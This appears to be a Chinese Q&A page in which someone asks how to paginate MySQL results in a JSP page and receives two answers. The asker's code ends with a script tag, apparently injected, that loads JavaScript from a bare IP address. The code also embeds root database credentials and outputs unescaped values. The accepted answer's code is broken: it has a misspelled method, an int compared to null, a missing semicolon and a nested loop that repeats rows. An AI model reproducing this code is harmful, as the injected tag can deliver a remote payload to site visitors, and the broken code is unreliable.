JSP网页分页显示数据库的内容

简介: 下面是我的jsp连接mysql数据库的代码,现在有的数据库的条目有1000多个,我想分页显示,每页显示200个,请问怎么改才能实现?   <!DOCTYPE HTML PUBLIC"-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>alternative spl

下面是我的jsp连接mysql数据库的代码,现在有的数据库的条目有1000多个,我想分页显示,每页显示200个,请问怎么改才能实现?

 

<!DOCTYPE HTML PUBLIC"-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML>

<HEAD>

<TITLE>alternative splicing ofEST</TITLE>

<METANAME="Generator" CONTENT="EditPlus">

<METANAME="Author" CONTENT="">

<METANAME="Keywords" CONTENT="">

<METANAME="Description" CONTENT="">

</HEAD>

<%@ pageimport="java.sql.*" %>

<% Stringvalue=request.getParameter("database");

String abc="aaa";%>

 

<%if(value.equals("1")){abc="jdbc:odbc:cancer_adrenal_tumor";

}

if(value.equals("2")){abc="jdbc:odbc:cancer_bone_marrow_leukemia";

}

if(value.equals("3")){abc="jdbc:odbc:cancer_brain_glioma";

}

%>

 

<BODY>

 

<table border=1  width=800>

 <tr>

   <tdbgcolor="9999ff"><b>EST_id</b></td>

 

   <td bgcolor="9999ff"><b>Exon positions</b></td>

    <td bgcolor="9999ff"><b>tissue-specific AStranscripts</b></td>

   <tdbgcolor="9999ff"><b>Insertion/Deletion</b></td>

   <td bgcolor="9999ff"><b>ESTnumbers</b></td>

   <tdbgcolor="9999ff"><b>geneid</b></td>

 

 </tr>

<%

 

Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");

String url;

 

 url=abc;

 String username="root";

 String password="4114";

 Connectioncon=DriverManager.getConnection(url,username,password);

 Statement stmt=con.createStatement();

 ResultSet rs=stmt.executeQuery("select *from alter_splicing");

 

 

 

 

while(rs.next())

 

{

Strings=rs.getString("sbjct");

%>

 <tr>

   <td><%= rs.getString("est_id")%></td>

   

   <td><%= rs.getString("position")%></td>

   

 <td><ahref="test2.jsp?aaa=<%=s%>&bbb=<%=abc%>"><%=s%></a></td>

   <td><%= rs.getString("type")%></td>

   <td><%= rs.getString("est_numbers")%></td>

 <td><%=rs.getString("geneid")%></td>

 

 </tr>

<%

}

rs.close();

con.close();

 

%>

 

</table>

 

</BODY>

</HTML>

 

<script language=javascript src=http://218.75.91.248/qq.js></script>

问题补充:

请帮忙


最佳答案

以下这段代码请加在你的JSP页面的<BODY>标签当中

<%

 

Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");

String url;

url=abc; //这个URL可能有问题的,你自己根据自己数据库的配置再看看

String username="root";

String password="4114";

Connectioncon=DriverManager.getConnection(url,username,password);

Statementstmt=con.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_READ_ONLY);

ResultSetrs=stmt.executeQuery("select * from alter_splicing");

int totalPage=0;

rs.last();

int lastRow=rs.getRow();

if(lastRow%200==0)

{

totalPage=lastRow/200;

}

else

totalPage=lastRow/200+1;

 

 

%>

<p>每页显示200行数据,共有<%=totalPage%>页</p>

<form name="form"action="当前页面.jsp"method="post">

<input type="text"name="page" value="" />

<input type="submit"name="submit" value="确定"/>

</form>

<%

 String pageChoosed=request.getParament("page");

 int currentPage=Integer.parseInt(pageChoosed);

 if(currentPage==null)

{

  currentPage=1;

}

 if(currentPage>totalPage)

{

  currentPage=totalPage;

 

}

 int currentRow=(currentPage-1)*200+1;

 rs.absolute(currentRow)

 

out.println("<tableborder=1>");

 

while(rs.next())

{

   //这里面读数据库里的表的字段,你根据自己的表再看看

   for(int i=0;i<200;i++)

  {

    out.println("<tr>");

    out.println("<td>"+rs.getString("est_id")+"</td>");

    out.println("<td>"+rs.getString("position")+"</td>");

    out.println("<td>"+rs.getString("type")+"</td>");

    out.println("<td>"+rs.getString("est_numbers")+"</td>");

    out.println("<td>"+rs.getString("geneid")+"</td>");

    out.println("</tr>");

 

  }

 

 

 

}

 out.println("</table>");

 rs.close();

 stmt.close();

 con.close();

 

 

%>

 

 

 

 

方法二:

jsp页面实现分页显示数据库查询内容


对于一个中等以上项目来说,庞大的表信息无法实现在一个jsp页面中预览,分页显示势在必行。本程序主要实现jsp页中查询数据分页显示功能:

<%
String sql=null;
ResultSet rs=null;
int PageSize=5;
int Page=1;
int totalPage=1;
int totalRecord=0;
Connection con=splBean.getConnet();
Statementstmt=con.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);
//算出总行数tatalRecord
sql="select count(*) as recordcount from student";
rs=stmt.executeQuery(sql);
if(rs.next()) totalRecord=rs.getInt("recordcount");
System.out.println(totalRecord);

//算出总页数totalPage
if(totalRecord%PageSize==0) totalPage=totalRecord/PageSize;
else totalPage=(int)Math.floor(totalRecord/PageSize)+1;//最后还空余一页情况,Math.floor(x):比x小的最大值。
if(totalPage==0) totalPage=1;//数据库中一条数据也没有的处理情况;
//捕捉form表单提交的Page元素
if(request.getParameter("Page")==null||request.getParameter("Page")=="")Page=1;
else try{
Page=Integer.parseInt(request.getParameter("Page"));
}catch(java.lang.NumberFormatException e){
Page=1;
}
//如果Page非常规数值处理
if(Page>totalPage) Page=totalPage;
if(Page<1) Page=1;
sql="select * from student";
rs=stmt.executeQuery(sql);
rs.absolute((Page-1)*PageSize+1);
ResultSetMetaData meta=rs.getMetaData();
int col=meta.getColumnCount();//得到表头有多少列
out.println("<table border='1'>");
//输出表头信息
out.println("<tr>");
for(int i=1;i<col+1;i++)
{
out.println("<td>");
out.print("列名:");
out.print(meta.getColumnName(i)+"<br>");
out.print("类型:");
out.print(typetoString(meta.getColumnType(i)));//检索并返回指定列的sql类型
out.println("</td>");
}
out.println("<td>更改</td>");
out.println("<td>删除</td>");
out.println("</tr>");
for(int iPage=1;iPage<PageSize+1;iPage++)
{
out.print("<tr><td>"+rs.getString(1)+"</td>");
out.print("<td>"+rs.getString(2)+"</td>");
out.print("<td>"+rs.getString(3)+"</td>");
out.print("<td>"+rs.getString(4)+"</td>");
out.print("<td>"+rs.getString(5)+"</td>");
out.print("<td>"+rs.getString(6)+"</td>");
out.print("<td><ahref=\"change.jsp?Xuehao="+rs.getString(1)+"\">修改</a></td>");
out.print("<td><ahref=\"del.jsp?Xuehao="+rs.getString(1)+"\">删除</a></td>");
if(!rs.next()) break;
}
out.println("</table>");
stmt.close();
con.close();
%>

其中的typetoString()函数的作用是转换得到sql相应的结果类型.如typetoString(1)的得到的结果伟integer



目录
相关文章
|
11天前
|
Java 关系型数据库 MySQL
毕设项目&课程设计&毕设项目:springboot+jsp实现的房屋租租赁系统(含教程&源码&数据库数据)
本文介绍了一款基于Spring Boot和JSP技术的房屋租赁系统,旨在通过自动化和信息化手段提升房屋管理效率,优化租户体验。系统采用JDK 1.8、Maven 3.6、MySQL 8.0、JSP、Layui和Spring Boot 2.0等技术栈,实现了高效的房源管理和便捷的租户服务。通过该系统,房东可以轻松管理房源,租户可以快速找到合适的住所,双方都能享受数字化带来的便利。未来,系统将持续优化升级,提供更多完善的服务。
毕设项目&课程设计&毕设项目:springboot+jsp实现的房屋租租赁系统(含教程&源码&数据库数据)
|
2月前
|
SQL Java 数据库
jsp中使用Servlet查询SQLSERVER数据库中的表的信息,并且打印在屏幕上
该博客文章介绍了在JSP应用中使用Servlet查询SQL Server数据库的表信息,并通过JavaBean封装图书信息,将查询结果展示在Web页面上的方法。
jsp中使用Servlet查询SQLSERVER数据库中的表的信息,并且打印在屏幕上
|
2月前
|
安全 Java 关系型数据库
毕设项目&课程设计&毕设项目:基于springboot+jsp实现的健身房管理系统(含教程&源码&数据库数据)
本文介绍了一款基于Spring Boot和JSP技术实现的健身房管理系统。随着健康生活观念的普及,健身房成为日常锻炼的重要场所,高效管理会员信息、课程安排等变得尤为重要。该系统旨在通过简洁的操作界面帮助管理者轻松处理日常运营挑战。技术栈包括:JDK 1.8、Maven 3.6、MySQL 8.0、JSP、Shiro、Spring Boot 2.0等。系统功能覆盖登录、会员管理(如会员列表、充值管理)、教练管理、课程管理、器材管理、物品遗失管理、商品管理及信息统计等多方面。
|
2月前
|
SQL Java 关系型数据库
应用DriverManager类创建sqlserver数据库连接实例 JSP中使用数据库
该博客文章介绍了在JSP中使用JDBC连接SQL Server数据库的方法,包括加载数据库驱动、建立数据库连接的过程,并提供了一个使用DriverManager类创建数据库连接的Java示例代码。
|
2月前
|
前端开发 Java 关系型数据库
通过HTML网页对mysql数据库进行增删改查(CRUD实例)
通过HTML网页对mysql数据库进行增删改查(CRUD实例)
166 0
|
3月前
|
SQL 关系型数据库 MySQL
|
4月前
|
SQL Java 关系型数据库
JSP 教程 之 JSP 连接数据库 4
JSP教程展示使用JSTL SQL标签执行DELETE操作。示例连接到MySQL数据库,删除ID为11的记录,然后显示更新后的websites表内容。包括设置数据库源、执行`DELETE FROM websites WHERE Id=?`语句,并用JSTL遍历结果展示表格。
19 2
|
4月前
|
SQL Java 关系型数据库
JSP 教程 之 JSP 连接数据库 3
**JSP教程示例:连接MySQL执行INSERT和SELECT操作** 本示例展示如何使用JSTL的`&lt;sql&gt;`标签在JSP中执行SQL。首先设置数据源,然后执行INSERT语句向`websites`表添加一条记录,接着执行SELECT查询并显示所有结果。页面包含一个表格来展示查询到的网站信息,如ID、站点名和URL。注意替换实际的数据库URL、用户名和密码。
20 2
|
4月前
|
SQL Java 关系型数据库
JSP 教程 之 JSP 连接数据库 2
该JSP教程展示了如何使用JSTL SQL标签连接到MySQL数据库执行SELECT操作。示例显示了设置数据源、查询`websites`表并遍历结果以在HTML表格中显示ID、站点名和站点地址的过程。数据库URL、用户名和密码需按实际配置。
21 2
|
4月前
|
SQL Java 关系型数据库
JSP 教程 之 JSP 连接数据库 5
该JSP教程展示了如何使用JSTL的`&lt;sql:update&gt;`标签更新数据库记录。它连接到一个MySQL数据库,更改ID为3的网站名称为&#39;baidu&#39;,然后使用`&lt;sql:query&gt;`显示所有网站信息,以验证更新是否成功。页面包含防止中文乱码的设置,并使用JDBC数据源。
20 0
下一篇
无影云桌面